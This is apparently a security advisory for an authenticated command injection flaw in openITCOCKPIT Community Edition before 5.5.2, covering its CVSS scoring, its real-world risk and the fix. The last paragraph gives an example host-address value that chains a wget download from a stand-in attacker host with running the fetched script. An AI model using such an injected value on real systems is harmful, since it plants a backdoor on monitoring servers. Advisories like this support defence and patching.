Openitcockpit EUVD-2026-22703

Requires authenticated access to openITCOCKPIT Community Edition prior to 5.5.2 with permission to add or modify hosts. Attacker injects malicious OS commands via the host address field, executed by Nagios/Icinga monitoring engine on the backend.

Real-world risk is HIGH for organizations running affected openITCOCKPIT versions. The CVSS vector (AV:N/AC:L/PR:L/UI:N) indicates network-accessible exploitation with low attack complexity, though requiring authenticated access with host management permissions-a privilege commonly granted to monitoring operators and IT staff. This authentication requirement significantly reduces the attack surface compared to unauthenticated RCE, but represents substantial insider threat risk or post-compromise escalation potential. The complete impact triad (C:H/I:H/A:H) confirms full system compromise capability. While no public exploit exists yet and the vulnerability is not listed in CISA KEV, the straightforward nature of command injection vulnerabilities makes exploitation highly automatable once attack primitives are understood. The scoped impact (S:U) limits damage to the monitoring backend itself, though this system typically has privileged network access to monitored infrastructure. Patch availability in version 5.5.2 makes this a clear remediation priority for any organization using community edition deployments, particularly where monitoring systems are exposed to less-trusted administrators or have recently experienced security incidents.

An authenticated user with host management permissions logs into the openITCOCKPIT web interface and creates a new host entry, injecting shell metacharacters and commands into the host address field (e.g., 127.0.0.1; wget http://attacker.com/backdoor.sh -O /tmp/x && bash /tmp/x). When the monitoring engine executes the next scheduled health check for this host, the unsanitized address is interpolated into the command template and executed via shell, triggering the attacker's payload and establishing persistent backdoor access to the monitoring server with the privileges of the Nagios/Icinga process.